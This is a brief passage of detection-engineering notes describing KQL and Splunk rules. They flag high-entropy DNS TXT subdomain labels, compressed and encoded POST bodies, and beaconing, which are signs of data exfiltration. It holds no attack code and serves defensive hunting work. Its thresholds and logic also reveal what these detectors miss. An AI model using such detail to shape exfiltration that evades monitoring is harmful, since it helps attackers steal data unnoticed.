KQL Vector 1: DnsEvents fires on high-entropy (32-char random) subdomain label for TXT record query. SPL: flag_encoded_url=1 for the compressed+encoded POST body, suspicion_score >= 1. Beaconing detection does not fire on single connection but establishes baseline for follow-up hunt queries.